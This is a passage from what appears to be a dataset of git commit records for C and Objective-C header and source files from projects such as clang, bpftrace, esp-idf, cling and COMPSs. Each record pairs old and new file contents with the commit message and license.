}\n}\nvoid radio_evt_handler(radio_evt_t * evt)\n{\n\n}\n\nint main(void)\n{\n    uint8_t i = 0; \n    uint32_t err_code;\n\n    radio_packet_t packet;\n    packet.len = 4;\n    packet.flags.ack = 0;\n\n    radio_init(radio_evt_handler);\n\n    gpio_pins_cfg_out(LED_START, LED_STOP);\n\n    while (1)\n    {\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        err_code = radio_send(&packet);\n        ASSUME_SUCCESS(err_code);\n\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        err_code = radio_send(&packet);\n        ASSUME_SUCCESS(err_code);\n\n        gpio_pin_toggle(LED0);\n        nrf_delay_us(1000000);\n    }\n}\n","subject":"Check error codes when sending.","message":"Check error codes when sending.\n","lang":"C","license":"bsd-3-clause","repos":"hlnd\/nrf51-simple-radio,hlnd\/nrf51-simple-radio"}
{"commit":"a6b59d5f22fc3329d3514094e43aa2b27271b632","old_file":"src\/usdt.h","new_file":"src\/usdt.h","old_contents":"#pragma once\n\n#include <string>\n#include <vector>\n\nstruct usdt_probe_entry\n{\n  std::string path;\n  std::string provider;\n  std::string name;\n  int num_locations;\n};\n\ntypedef std::vector<usdt_probe_entry> usdt_probe_list;\n\nclass USDTHelper\n{\npublic:\n  static usdt_probe_entry find(int pid,\n                               const std::string &target,\n                               const std::string &provider,\n                               const std::string &name);\n  static usdt_probe_list probes_for_provider(const std::string &provider);\n  static usdt_probe_list probes_for_pid(int pid);\n  static usdt_probe_list probes_for_path(const std::string &path);\n  static void read_probes_for_pid(int pid);\n  static void read_probes_for_path(const std::string &path);\n};\n","new_contents":"#pragma once\n\n#include <string>\n#include <vector>\n\nstruct usdt_probe_entry\n{\n  std::string path;\n  std::string provider;\n  std::string name;\n  int num_locations;\n};\n\ntypedef std::vector<usdt_probe_entry> usdt_probe_list;\n\n\/\/ Note this class is fully static because bcc_usdt_foreach takes a function\n\/\/ pointer callback without a context variable. So we must keep global state.\nclass USDTHelper\n{\npublic:\n  static usdt_probe_entry find(int pid,\n                               const std::string &target,\n                               const std::string &provider,\n                               const std::string &name);\n  static usdt_probe_list probes_for_provider(const std::string &provider);\n  static usdt_probe_list probes_for_pid(int pid);\n  static usdt_probe_list probes_for_path(const std::string &path);\n  static void read_probes_for_pid(int pid);\n  static void read_probes_for_path(const std::string &path);\n};\n","subject":"Add comment for why USDTHelper is static","message":"NFC: Add comment for why USDTHelper is static\n","lang":"C","license":"apache-2.0","repos":"iovisor\/bpftrace,iovisor\/bpftrace,iovisor\/bpftrace,iovisor\/bpftrace"}
{"commit":"b418fa6d7ccf3beb5f48c3873f3c8f4460e0c33a","old_file":"include\/HubFramework\/HUBComponentImageDataBuilder.h","new_file":"include\/HubFramework\/HUBComponentImageDataBuilder.h","old_contents":"#import <UIKit\/UIKit.h>\n\n#import \"HUBComponentImageData.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n *  Protocol defining the public API for a builder that builds image data objects\n *\n *  This builder acts like a mutable model counterpart for `HUBComponentImageData`, with the key\n *  difference that they are not related by inheritance.\n *\n *  All properties are briefly documented as part of this protocol, but for more extensive\n *  documentation and use case examples, see the full documentation in the `HUBComponentImageData`\n *  protocol definition.\n *\n *  In order to successfully build an image data object (and not return nil), the builder must\n *  have either have a non-nil `URL` or `iconIdentifier` property.\n *\/\n@protocol HUBComponentImageDataBuilder <NSObject>\n\n\/\/\/ The style that the image should be rendered in\n@property (nonatomic) HUBComponentImageStyle style;\n\n\/\/\/ Any HTTP URL of a remote image that should be downloaded and then rendered\n@property (nonatomic, copy, nullable) NSURL *URL;\n\n\/\/\/ Any local image that should be used, either as a placeholder or a permanent image\n@property (nonatomic, copy, nullable) UIImage *localImage;\n\n\/\/\/ Any identifier of an icon that should be used with the image, either as a placeholder or permanent image\n@property (nonatomic, copy, nullable) NSString *iconIdentifier;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"#import <UIKit\/UIKit.h>\n\n#import \"HUBComponentImageData.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n *  Protocol defining the public API for a builder that builds image data objects\n *\n *  This builder acts like a mutable model counterpart for `HUBComponentImageData`, with the key\n *  difference that they are not related by inheritance.\n *\n *  All properties are briefly documented as part of this protocol, but for more extensive\n *  documentation and use case examples, see the full documentation in the `HUBComponentImageData`\n *  protocol definition.\n *\n *  In order to successfully build an image data object (and not return nil), the builder must\n *  have either have a non-nil `URL` or `iconIdentifier` property.\n *\/\n@protocol HUBComponentImageDataBuilder <NSObject>\n\n\/\/\/ The style that the image should be rendered in\n@property (nonatomic) HUBComponentImageStyle style;\n\n\/\/\/ Any HTTP URL of a remote image that should be downloaded and then rendered\n@property (nonatomic, copy, nullable) NSURL *URL;\n\n\/\/\/ Any local image that should be used, either as a placeholder or a permanent image\n@property (nonatomic, strong, nullable) UIImage *localImage;\n\n\/\/\/ Any identifier of an icon that should be used with the image, either as a placeholder or permanent image\n@property (nonatomic, copy, nullable) NSString *iconIdentifier;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Use strong storage for component local image","message":"Use strong storage for component local image","lang":"C","license":"apache-2.0","repos":"spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework,spotify\/HubFramework"}
{"commit":"1cbb50a8a9a4fe09ff43479236e89cab9ac3df17","old_file":"include\/clang\/Frontend\/PCHDeserializationListener.h","new_file":"include\/clang\/Frontend\/PCHDeserializationListener.h","old_contents":"\/\/===- PCHDeserializationListener.h - Decl\/Type PCH Read Events -*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the PCHDeserializationListener class, which is notified\n\/\/  by the PCHReader whenever a type or declaration is deserialized.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_FRONTEND_PCH_DESERIALIZATION_LISTENER_H\n#define LLVM_CLANG_FRONTEND_PCH_DESERIALIZATION_LISTENER_H\n\n#include \"clang\/Frontend\/PCHBitCodes.h\"\n\nnamespace clang {\n\nclass Decl;\nclass QualType;\n\nclass PCHDeserializationListener {\nprotected:\n  ~PCHDeserializationListener() {}\n\npublic:\n  \/\/\/ \\brief A type was deserialized from the PCH. The ID here has the qualifier\n  \/\/\/        bits already removed, and T is guaranteed to be locally unqualified\n  virtual void TypeRead(pch::TypeID ID, QualType T) = 0;\n  \/\/\/ \\brief A decl was deserialized from the PCH.\n  virtual void DeclRead(pch::DeclID ID, const Decl *D) = 0;\n};\n\n}\n\n#endif\n","new_contents":"\/\/===- PCHDeserializationListener.h - Decl\/Type PCH Read Events -*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the PCHDeserializationListener class, which is notified\n\/\/  by the PCHReader whenever a type or declaration is deserialized.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_FRONTEND_PCH_DESERIALIZATION_LISTENER_H\n#define LLVM_CLANG_FRONTEND_PCH_DESERIALIZATION_LISTENER_H\n\n#include \"clang\/Frontend\/PCHBitCodes.h\"\n\nnamespace clang {\n\nclass Decl;\nclass QualType;\n\nclass PCHDeserializationListener {\nprotected:\n  virtual ~PCHDeserializationListener() {}\n\npublic:\n  \/\/\/ \\brief A type was deserialized from the PCH. The ID here has the qualifier\n  \/\/\/        bits already removed, and T is guaranteed to be locally unqualified\n  virtual void TypeRead(pch::TypeID ID, QualType T) = 0;\n  \/\/\/ \\brief A decl was deserialized from the PCH.\n  virtual void DeclRead(pch::DeclID ID, const Decl *D) = 0;\n};\n\n}\n\n#endif\n","subject":"Make this destructor virtual to placate GCC's warnings.","message":"Make this destructor virtual to placate GCC's warnings.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@108534 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"67506f9a3fd1800e040df26ae7a89c6343780402","old_file":"tools\/test_apps\/system\/monitor_ide_integration\/main\/main.c","new_file":"tools\/test_apps\/system\/monitor_ide_integration\/main\/main.c","old_contents":"\/* Monitor-IDE integration test\n\n   This example code is in the Public Domain (or CC0 licensed, at your option.)\n\n   Unless required by applicable law or agreed to in writing, this\n   software is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n   CONDITIONS OF ANY KIND, either express or implied.\n*\/\n#include \"freertos\/FreeRTOS.h\"\n#include \"freertos\/task.h\"\n#include \"esp_system.h\"\n\nvoid app_main(void)\n{\n    int *p = (int *)4;\n    vTaskDelay(1000 \/ portTICK_PERIOD_MS);\n    *p = 0;\n}\n","new_contents":"\/* Monitor-IDE integration test\n\n   This example code is in the Public Domain (or CC0 licensed, at your option.)\n\n   Unless required by applicable law or agreed to in writing, this\n   software is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n   CONDITIONS OF ANY KIND, either express or implied.\n*\/\n#include \"freertos\/FreeRTOS.h\"\n#include \"freertos\/task.h\"\n#include \"esp_system.h\"\n\nvoid app_main(void)\n{\n    int *p = (int *)4;\n    vTaskDelay(2000 \/ portTICK_PERIOD_MS);\n    *p = 0;\n}\n","subject":"Increase the delay before producing exception in the Monitor IDE test app","message":"Tools: Increase the delay before producing exception in the Monitor IDE test app\n","lang":"C","license":"apache-2.0","repos":"espressif\/esp-idf,espressif\/esp-idf,espressif\/esp-idf,espressif\/esp-idf"}
{"commit":"eaea595bb0310b19f41d1b2eece7fbe4d5dbf14e","old_file":"src\/trusted\/service_runtime\/nacl_syscall_asm_symbols.h","new_file":"src\/trusted\/service_runtime\/nacl_syscall_asm_symbols.h","old_contents":"\/*\n * Copyright 2008 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can\n * be found in the LICENSE file.\n *\/\n\n\n#ifndef SERVICE_RUNTIME_NACL_SYSCALL_H__\n#define SERVICE_RUNTIME_NACL_SYSCALL_H__\n\n#if !NACL_MACOSX || defined(NACL_STANDALONE)\nextern int NaClSyscallSeg();\n#else\n\/\/ This declaration is used only on Mac OSX for Chrome build\nextern int NaClSyscallSeg() __attribute__((weak_import));\n#endif\n#endif\n","new_contents":"\/*\n * Copyright 2008 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can\n * be found in the LICENSE file.\n *\/\n\n\n#ifndef SERVICE_RUNTIME_NACL_SYSCALL_H__\n#define SERVICE_RUNTIME_NACL_SYSCALL_H__\n\nextern int NaClSyscallSeg();\n\n#endif\n","subject":"Remove unused special case for Mac OS X","message":"Tidy: Remove unused special case for Mac OS X\n\nThe special case was dead code anyway because it tested the wrong preprocessor symbol (NACL_MACOSX instead of NACL_OSX).\n\nReview URL: http:\/\/codereview.chromium.org\/1051001\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@1792 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,nacl-webkit\/native_client,nacl-webkit\/native_client,nacl-webkit\/native_client,nacl-webkit\/native_client"}
{"commit":"df7f69f7a0f5268b3bf0dea2797bed8da774c003","old_file":"src\/Version.h","new_file":"src\/Version.h","old_contents":"#include \"SocketCommand.h\"\n\nclass Version : public SocketCommand {\n  Q_OBJECT\n\n  public:\n    Version(WebPageManager *, QStringList &arguments, QObject *parent = 0);\n    virtual void start();\n};\n\n","new_contents":"#include \"qtwebkitversion.h\"\n#include \"SocketCommand.h\"\n\nclass Version : public SocketCommand {\n  Q_OBJECT\n\n  public:\n    Version(WebPageManager *, QStringList &arguments, QObject *parent = 0);\n    virtual void start();\n};\n\n","subject":"Include qtwebkitversion.h to work in newer qtwebkit","message":"Include qtwebkitversion.h to work in newer qtwebkit\n\nThis likely got pulled in automatically in a previous qtwebkit version, but now needs to be explicitly included.","lang":"C","license":"mit","repos":"thoughtbot\/capybara-webkit,thoughtbot\/capybara-webkit,thoughtbot\/capybara-webkit,thoughtbot\/capybara-webkit,mhoran\/capybara-webkit,twalpole\/capybara-webkit,twalpole\/capybara-webkit,mhoran\/capybara-webkit,mhoran\/capybara-webkit,mhoran\/capybara-webkit,twalpole\/capybara-webkit,twalpole\/capybara-webkit"}
{"commit":"8c3434c5cb94857dcc3b381d9ca5490643e18074","old_file":"AVOS\/AVOSCloudIM\/TypedMessages\/AVIMRecalledMessage.h","new_file":"AVOS\/AVOSCloudIM\/TypedMessages\/AVIMRecalledMessage.h","old_contents":"\/\/\n\/\/  AVIMRecalledMessage.h\n\/\/  AVOS\n\/\/\n\/\/  Created by Tang Tianyong on 26\/06\/2017.\n\/\/  Copyright © 2017 LeanCloud Inc. All rights reserved.\n\/\/\n\n#import \"AVIMTypedMessage.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface AVIMRecalledMessage : AVIMTypedMessage <AVIMTypedMessageSubclassing>\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/  AVIMRecalledMessage.h\n\/\/  AVOS\n\/\/\n\/\/  Created by Tang Tianyong on 26\/06\/2017.\n\/\/  Copyright © 2017 LeanCloud Inc. All rights reserved.\n\/\/\n\n#import \"AVIMTypedMessage.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n This class is a type of messages that have been recalled by its sender.\n *\/\n@interface AVIMRecalledMessage : AVIMTypedMessage <AVIMTypedMessageSubclassing>\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add comment for recalled message","message":"Add comment for recalled message\n","lang":"C","license":"apache-2.0","repos":"leancloud\/objc-sdk,leancloud\/objc-sdk,leancloud\/objc-sdk,leancloud\/objc-sdk"}
{"commit":"9a674b55fe0a9e22bc7e324e09fff3ad188b08e0","old_file":"tests\/regression\/36-octapron\/29-combine-arg-var-conflict.c","new_file":"tests\/regression\/36-octapron\/29-combine-arg-var-conflict.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <assert.h>\n\nint f(int x) {\n  return x + 1;\n}\n\nint g(int x) {\n  int y;\n  y = f(x);\n  assert(y == x + 1);\n  return x;\n}\n\nint main(void) {\n  int z, w;\n  w = g(z);\n  assert(z == w);\n  return 0;\n}\n","subject":"Add test for octApron combine where arg vars conflict","message":"Add test for octApron combine where arg vars conflict\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a28adab74e7d55aa414829a03cedd20bd966eacf","old_file":"interpreter\/cling\/include\/cling\/UserInterface\/CompilationException.h","new_file":"interpreter\/cling\/include\/cling\/UserInterface\/CompilationException.h","old_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_COMPILATIONEXCEPTION_H\n#define CLING_COMPILATIONEXCEPTION_H\n\n#include <stdexcept>\n#include <string>\n#include \"cling\/Interpreter\/RuntimeException.h\"\n\nnamespace cling {\n  class Interpreter;\n  class MetaProcessor;\n\n  \/\/\\brief Exception pull us out of JIT (llvm + clang) errors.\n  class CompilationException:\n    public virtual runtime::InterpreterException,\n    public virtual std::runtime_error {\n  public:\n    CompilationException(const std::string& reason):\n      std::runtime_error(reason) {}\n    ~CompilationException() throw(); \/\/ vtable pinned to UserInterface.cpp\n    virtual const char* what() const throw() {\n      return std::runtime_error::what(); }\n  };\n}\n\n#endif \/\/ CLING_COMPILATIONEXCEPTION_H\n","new_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_COMPILATIONEXCEPTION_H\n#define CLING_COMPILATIONEXCEPTION_H\n\n#include <stdexcept>\n#include <string>\n#include \"cling\/Interpreter\/RuntimeException.h\"\n\nnamespace cling {\n  class Interpreter;\n  class MetaProcessor;\n\n  \/\/\/\\brief Exception that pulls cling out of runtime-compilation (llvm + clang)\n  \/\/\/       errors.\n  \/\/\/\n  \/\/\/ If user code provokes an llvm::unreachable it will cause this exception\n  \/\/\/ to be thrown. Given that this is at the process's runtime and an\n  \/\/\/ interpreter error it inherits from InterpreterException and runtime_error.\n  \/\/\/ Note that this exception is *not* thrown during the execution of the\n  \/\/\/ user's code but during its compilation (at runtime).\n  class CompilationException:\n    public virtual runtime::InterpreterException,\n    public virtual std::runtime_error {\n  public:\n    CompilationException(const std::string& reason):\n      std::runtime_error(reason) {}\n    ~CompilationException() throw(); \/\/ vtable pinned to UserInterface.cpp\n    virtual const char* what() const throw() {\n      return std::runtime_error::what(); }\n  };\n}\n\n#endif \/\/ CLING_COMPILATIONEXCEPTION_H\n","subject":"Add more rationale as to how this exception is different from others.","message":"Add more rationale as to how this exception is different from others.\n","lang":"C","license":"lgpl-2.1","repos":"karies\/root,mkret2\/root,omazapa\/root,buuck\/root,krafczyk\/root,CristinaCristescu\/root,thomaskeck\/root,sbinet\/cxx-root,gganis\/root,nilqed\/root,arch1tect0r\/root,mattkretz\/root,esakellari\/my_root_for_test,esakellari\/my_root_for_test,zzxuanyuan\/root,mattkretz\/root,zzxuanyuan\/root-compressor-dummy,georgtroska\/root,mattkretz\/root,omazapa\/root-old,dfunke\/root,mhuwiler\/rootauto,buuck\/root,bbockelm\/root,veprbl\/root,mattkretz\/root,veprbl\/root,alexschlueter\/cern-root,omazapa\/root-old,sawenzel\/root,veprbl\/root,vukasinmilosevic\/root,buuck\/root,krafczyk\/root,0x0all\/ROOT,perovic\/root,BerserkerTroll\/root,satyarth934\/root,beniz\/root,vukasinmilosevic\/root,gbitzes\/root,Duraznos\/root,pspe\/root,satyarth934\/root,zzxuanyuan\/root,zzxuanyuan\/root,esakellari\/my_root_for_test,lgiommi\/root,davidlt\/root,sawenzel\/root,beniz\/root,Y--\/root,BerserkerTroll\/root,evgeny-boger\/root,alexschlueter\/cern-root,thomaskeck\/root,Y--\/root,perovic\/root,BerserkerTroll\/root,davidlt\/root,bbockelm\/root,0x0all\/ROOT,davidlt\/root,karies\/root,agarciamontoro\/root,krafczyk\/root,0x0all\/ROOT,dfunke\/root,Duraznos\/root,simonpf\/root,buuck\/root,mhuwiler\/rootauto,mhuwiler\/rootauto,esakellari\/root,esakellari\/my_root_for_test,pspe\/root,Duraznos\/root,mattkretz\/root,smarinac\/root,Duraznos\/root,beniz\/root,gganis\/root,georgtroska\/root,veprbl\/root,bbockelm\/root,arch1tect0r\/root,gganis\/root,gbitzes\/root,CristinaCristescu\/root,smarinac\/root,esakellari\/my_root_for_test,krafczyk\/root,nilqed\/root,beniz\/root,esakellari\/root,Y--\/root,esakellari\/my_root_for_test,pspe\/root,sawenzel\/root,esakellari\/my_root_for_test,gganis\/root,esakellari\/root,krafczyk\/root,sawenzel\/root,sirinath\/root,gganis\/root,olifre\/root,beniz\/root,vukasinmilosevic\/root,BerserkerTroll\/root,dfunke\/root,zzxuanyuan\/root-compressor-dummy,root-mirror\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,georgtroska\/root,0x0all\/ROOT,simonpf\/root,buuck\/root,zzxuanyuan\/root,davidlt\/root,vukasinmilosevic\/root,bbockelm\/root,omazapa\/root,mhuwiler\/rootauto,gbitzes\/root,omazapa\/root,vukasinmilosevic\/root,BerserkerTroll\/root,arch1tect0r\/root,sawenzel\/root,Duraznos\/root,nilqed\/root,cxx-hep\/root-cern,veprbl\/root,olifre\/root,lgiommi\/root,dfunke\/root,alexschlueter\/cern-root,simonpf\/root,karies\/root,evgeny-boger\/root,jrtomps\/root,gbitzes\/root,root-mirror\/root,gbitzes\/root,cxx-hep\/root-cern,abhinavmoudgil95\/root,zzxuanyuan\/root,esakellari\/root,perovic\/root,esakellari\/root,agarciamontoro\/root,thomaskeck\/root,satyarth934\/root,nilqed\/root,BerserkerTroll\/root,gganis\/root,gbitzes\/root,buuck\/root,sawenzel\/root,mattkretz\/root,zzxuanyuan\/root-compressor-dummy,jrtomps\/root,Duraznos\/root,Y--\/root,Duraznos\/root,nilqed\/root,mkret2\/root,vukasinmilosevic\/root,esakellari\/root,Duraznos\/root,sirinath\/root,CristinaCristescu\/root,simonpf\/root,beniz\/root,karies\/root,dfunke\/root,evgeny-boger\/root,satyarth934\/root,gbitzes\/root,pspe\/root,omazapa\/root-old,vukasinmilosevic\/root,georgtroska\/root,pspe\/root,smarinac\/root,pspe\/root,mkret2\/root,pspe\/root,buuck\/root,satyarth934\/root,BerserkerTroll\/root,sawenzel\/root,olifre\/root,smarinac\/root,davidlt\/root,beniz\/root,gganis\/root,zzxuanyuan\/root-compressor-dummy,georgtroska\/root,arch1tect0r\/root,sbinet\/cxx-root,mhuwiler\/rootauto,bbockelm\/root,beniz\/root,Y--\/root,veprbl\/root,thomaskeck\/root,root-mirror\/root,sirinath\/root,karies\/root,Y--\/root,omazapa\/root-old,arch1tect0r\/root,cxx-hep\/root-cern,evgeny-boger\/root,georgtroska\/root,perovic\/root,bbockelm\/root,dfunke\/root,0x0all\/ROOT,zzxuanyuan\/root,root-mirror\/root,smarinac\/root,thomaskeck\/root,jrtomps\/root,Y--\/root,gganis\/root,beniz\/root,simonpf\/root,nilqed\/root,zzxuanyuan\/root,buuck\/root,simonpf\/root,root-mirror\/root,abhinavmoudgil95\/root,sirinath\/root,krafczyk\/root,BerserkerTroll\/root,sbinet\/cxx-root,sirinath\/root,nilqed\/root,thomaskeck\/root,gbitzes\/root,omazapa\/root-old,perovic\/root,alexschlueter\/cern-root,arch1tect0r\/root,arch1tect0r\/root,agarciamontoro\/root,evgeny-boger\/root,mhuwiler\/rootauto,omazapa\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,pspe\/root,arch1tect0r\/root,bbockelm\/root,smarinac\/root,perovic\/root,zzxuanyuan\/root,karies\/root,davidlt\/root,jrtomps\/root,evgeny-boger\/root,root-mirror\/root,krafczyk\/root,omazapa\/root,zzxuanyuan\/root,smarinac\/root,root-mirror\/root,esakellari\/my_root_for_test,jrtomps\/root,evgeny-boger\/root,sirinath\/root,BerserkerTroll\/root,karies\/root,zzxuanyuan\/root,cxx-hep\/root-cern,olifre\/root,gganis\/root,agarciamontoro\/root,mattkretz\/root,lgiommi\/root,mkret2\/root,veprbl\/root,karies\/root,nilqed\/root,vukasinmilosevic\/root,olifre\/root,esakellari\/root,jrtomps\/root,omazapa\/root-old,simonpf\/root,veprbl\/root,sawenzel\/root,gbitzes\/root,gganis\/root,smarinac\/root,satyarth934\/root,karies\/root,thomaskeck\/root,BerserkerTroll\/root,sbinet\/cxx-root,esakellari\/my_root_for_test,olifre\/root,perovic\/root,lgiommi\/root,0x0all\/ROOT,olifre\/root,sawenzel\/root,abhinavmoudgil95\/root,olifre\/root,dfunke\/root,arch1tect0r\/root,sbinet\/cxx-root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,vukasinmilosevic\/root,Duraznos\/root,abhinavmoudgil95\/root,simonpf\/root,esakellari\/root,krafczyk\/root,CristinaCristescu\/root,jrtomps\/root,Duraznos\/root,sbinet\/cxx-root,0x0all\/ROOT,buuck\/root,mhuwiler\/rootauto,georgtroska\/root,omazapa\/root,thomaskeck\/root,mkret2\/root,bbockelm\/root,zzxuanyuan\/root-compressor-dummy,evgeny-boger\/root,cxx-hep\/root-cern,sirinath\/root,krafczyk\/root,CristinaCristescu\/root,agarciamontoro\/root,gganis\/root,omazapa\/root-old,omazapa\/root-old,root-mirror\/root,omazapa\/root,evgeny-boger\/root,zzxuanyuan\/root-compressor-dummy,lgiommi\/root,evgeny-boger\/root,root-mirror\/root,vukasinmilosevic\/root,jrtomps\/root,zzxuanyuan\/root,pspe\/root,arch1tect0r\/root,abhinavmoudgil95\/root,Duraznos\/root,satyarth934\/root,sirinath\/root,karies\/root,veprbl\/root,CristinaCristescu\/root,omazapa\/root,sawenzel\/root,CristinaCristescu\/root,simonpf\/root,omazapa\/root-old,georgtroska\/root,mhuwiler\/rootauto,abhinavmoudgil95\/root,smarinac\/root,sbinet\/cxx-root,beniz\/root,evgeny-boger\/root,thomaskeck\/root,agarciamontoro\/root,mkret2\/root,pspe\/root,cxx-hep\/root-cern,agarciamontoro\/root,satyarth934\/root,CristinaCristescu\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,esakellari\/root,pspe\/root,lgiommi\/root,thomaskeck\/root,mattkretz\/root,agarciamontoro\/root,root-mirror\/root,agarciamontoro\/root,satyarth934\/root,mkret2\/root,jrtomps\/root,sirinath\/root,dfunke\/root,bbockelm\/root,alexschlueter\/cern-root,jrtomps\/root,olifre\/root,georgtroska\/root,simonpf\/root,0x0all\/ROOT,omazapa\/root,sbinet\/cxx-root,abhinavmoudgil95\/root,olifre\/root,jrtomps\/root,root-mirror\/root,davidlt\/root,bbockelm\/root,perovic\/root,cxx-hep\/root-cern,davidlt\/root,sbinet\/cxx-root,omazapa\/root,dfunke\/root,olifre\/root,mkret2\/root,omazapa\/root-old,mhuwiler\/rootauto,vukasinmilosevic\/root,esakellari\/root,davidlt\/root,esakellari\/my_root_for_test,mattkretz\/root,mattkretz\/root,dfunke\/root,Y--\/root,agarciamontoro\/root,veprbl\/root,buuck\/root,CristinaCristescu\/root,perovic\/root,mkret2\/root,mattkretz\/root,nilqed\/root,lgiommi\/root,lgiommi\/root,abhinavmoudgil95\/root,beniz\/root,krafczyk\/root,georgtroska\/root,zzxuanyuan\/root-compressor-dummy,CristinaCristescu\/root,gbitzes\/root,sirinath\/root,gbitzes\/root,sawenzel\/root,nilqed\/root,buuck\/root,zzxuanyuan\/root-compressor-dummy,mkret2\/root,mkret2\/root,smarinac\/root,veprbl\/root,mhuwiler\/rootauto,alexschlueter\/cern-root,omazapa\/root,Y--\/root,abhinavmoudgil95\/root,cxx-hep\/root-cern,satyarth934\/root,Y--\/root,nilqed\/root,Y--\/root,lgiommi\/root,karies\/root,simonpf\/root,davidlt\/root,sirinath\/root,sbinet\/cxx-root,davidlt\/root,alexschlueter\/cern-root,lgiommi\/root,lgiommi\/root,perovic\/root,bbockelm\/root,georgtroska\/root,dfunke\/root,krafczyk\/root,agarciamontoro\/root,sbinet\/cxx-root,perovic\/root,CristinaCristescu\/root,zzxuanyuan\/root,arch1tect0r\/root,0x0all\/ROOT,esakellari\/root,omazapa\/root-old"}
{"commit":"97c44a23a590b79c8538874798e140f1e1db559f","old_file":"tests\/sources\/basic\/30-mpi\/src\/main\/c\/addVector.c","new_file":"tests\/sources\/basic\/30-mpi\/src\/main\/c\/addVector.c","old_contents":"","new_contents":"#include \"mpi.h\"\n#include <stdio.h>\n#include <math.h>\n\nint main(int argc, char **argv) {\n    \/\/ Variables used per process\n    int myid, numprocs;\n    int myresult = 0;\n    \n    \/\/ Global variables\n    int DATA_SIZE = argc;\n    int data[DATA_SIZE], result;\n    \n    \/\/ Chunk control variables\n    int i, low, high, size;\n    \n    \/\/-------------------------------------------\n    \/\/ INIT\n    MPI_Init(&argc, &argv);\n    MPI_Comm_size(MPI_COMM_WORLD, &numprocs);\n    MPI_Comm_rank(MPI_COMM_WORLD, &myid);\n\n    \/\/-------------------------------------------\n    \/\/ PROCESS 0 GETS THE DATA\n    if (myid == 0) {\n        \/\/ Get data from args\n        for (i = 0; i < argc; ++i) {\n          data[i] = argv[i];\n        }\n    }\n\n    \/\/ Distribute the Data\n    MPI_Bcast(data, MAXSIZE, MPI_INT, 0, MPI_COMM_WORLD);\n    \n    \/\/-------------------------------------------\n    \/\/ EACH PROCESS COMPUTES ITS PART\n    size = DATA_SIZE\/numprocs;\n    low = myid * size;\n    high = low + size;\n    for (i = low; i < high; ++i) {\n        myresult += data[i];\n    }\n    \/\/printf(\"I got %d from %d\\n\", myresult, myid);\n\n    \/\/-------------------------------------------\n    \/\/ COMPUTE GLOBAL SUM\n    MPI_Reduce(&myresult, &result, 1, MPI_INT, MPI_SUM, 0, MPI_COMM_WORLD);\n\n    \/\/-------------------------------------------\n    \/\/ PROCESS 0 PRINTS THE RESULT\n    if (myid == 0) {\n        printf(\"%d\\n\", result);\n    }\n\n    \/\/-------------------------------------------\n    \/\/ FINISH\n    MPI_Finalize();\n}","subject":"Add mpiCC source for MPI test","message":"Add mpiCC source for MPI test\n\ngit-svn-id: 6cb0c57df7a4a7d32342646683f5f1b5f4d88845@2381 9ab3861e-6c05-4e1b-b5ef-99af60850597\n","lang":"C","license":"apache-2.0","repos":"mF2C\/COMPSs,mF2C\/COMPSs,mF2C\/COMPSs,mF2C\/COMPSs,mF2C\/COMPSs,mF2C\/COMPSs"}
